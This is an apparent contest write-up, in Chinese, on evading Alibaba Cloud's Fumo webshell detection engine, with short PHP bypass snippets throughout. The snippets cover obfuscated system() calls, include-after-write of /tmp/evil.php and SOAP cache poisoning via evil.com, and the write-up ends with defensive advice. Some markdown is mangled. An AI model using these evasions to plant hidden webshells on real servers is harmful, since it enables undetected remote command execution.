PHP WebShell绕过阿里云伏魔挑战赛检测技术详解
1. 伏魔挑战赛检测机制概述
阿里云伏魔挑战赛主要采用以下技术检测PHP WebShell:
-
模拟污点引擎:核心检测手段,类似Zend虚拟机,对AST进行解释执行
- 精确获取变量值和函数调用链
- 规避动态沙箱对环境依赖及版本碎片化问题
-
辅助检测手段:
- AI检测
- 动态沙箱执行检测(实际测试中感知不强)
2. 动态函数调用绕过技术
2.1 基本检测规则
对于$a($b)形式的动态调用:
- 当
$b为用户可控输入时,$a在任何时刻都不能包含system等敏感函数 - 当
$b为敏感命令时,$a的赋值不能为"system"(允许拼接) - 当
$b为安全常量时,$a的值无限制
2.2 绕过方法
-
利用返回值不确定的内置函数:
$a = file_get_contents('safe_file'); // 返回值被视为污点 $b = 'whoami'; $a($b); // 可能绕过检测 -
PHP版本差异利用:
- PHP5与PHP7对`
\[foo[0]`解析不同 - 伏魔可能只支持PHP7解析规则 3. **函数参数混淆**: ```php $a($_GET['x']); // 直接黑名单 // 改用间接方式 $func = 'syste'.'m'; $func('whoami'); ``` ## 3. ini_set函数利用 伏魔对内置函数建模但未完全考虑ini配置影响: 1. **数学函数精度控制**: ```php ini_set('bcmath.scale', 4); // 影响bcadd等函数行为 ``` 2. **垃圾回收控制**: ```php ini_set('zend.enable_gc', 0); // 影响gc_enabled()返回值 ``` 3. **输出缓冲区操纵**: ```php ini_set('error_append_string', 'malicious'); // 在报错信息中插入恶意内容 ``` 4. **动态设置ini项**: ```php ini_set($_GET['x'], "st"); // 伏魔无法确定具体设置项 ``` ## 4. 文件包含绕过技术 ### 4.1 检测限制 - 路径正则检测:`^\/tmp\/[\s\S]+$` - 禁止包含`__FILE__` - 防止包含session文件(检测`sess_`) ### 4.2 绕过方法 1. **自包含绕过**: ```php // 虽然__FILE__被禁,但可直接写文件名 include 'current_script.php'; ``` 2. **文件写入后包含**: ```php file_put_contents('/tmp/evil.php', ''); include '/tmp/evil.php'; ``` 3. **特殊技术利用**: - 使用`RecursiveDirectoryIterator`遍历目录 - 包含上传的临时文件 - 使用`pgsqlCopyToFile`写文件后包含 - 利用`php://temp`写入临时文件 4. **SOAP缓存利用**: ```php // 预测SOAP缓存文件名并包含 $client = new SoapClient(null, array('location' => "http://evil.com/<", 'uri' => "bb")); // 缓存文件会包含恶意代码 ``` ## 5. 控制流混淆技术 ### 5.1 引擎行为特点 - 对非常量条件分支会遍历所有分支 - 仅模拟循环次数为常量的情况 - 对不确定循环次数的循环,赋值结果被视为污点 - 对fatal error有容错性,会继续执行 ### 5.2 绕过方法 1. **制造执行差异**: ```php if(rand(0,1)) { $func = 'system'; } else { $func = 'print'; } $func('whoami'); ``` 2. **利用fatal error**: ```php ini_set('max_execution_time', 1); // 制造超时错误改变执行流 ``` ## 6. 其他高级绕过技术 1. **PDO输出缓冲区利用**: ```php $stmt->debugDumpParams(); // 将敏感字符串输出到缓冲区 ``` 2. **多字节编码利用**: ```php declare(encoding='HTML-ENTITIES'); // 或通过.user.ini设置zend.multibyte ``` 3. **PHP作为跳板**: - 构造SSRF攻击 - 利用未列入黑名单的网络函数(非curl类) 4. **输出缓冲区操纵**: ```php ob_start(); // 操作输出缓冲区 $output = ob_get_clean(); ``` ## 7. 防御建议 针对上述绕过技术,防御方应考虑: 1. 增强PHP版本差异的检测能力 2. 完善ini_set影响的建模 3. 加强对输出缓冲区操作的监控 4. 提高文件包含检测的严格度 5. 完善控制流分析的准确性 6. 增加对多字节编码的检测 ## 8. 总结 阿里云伏魔挑战赛的模拟污点引擎虽然强大,但仍存在多种绕过可能。攻击者可利用PHP语言特性、版本差异、配置影响和引擎检测盲点构造有效的WebShell。防御方需要不断更新检测规则,全面考虑各种边缘情况,才能有效应对日益复杂的WebShell攻击。\]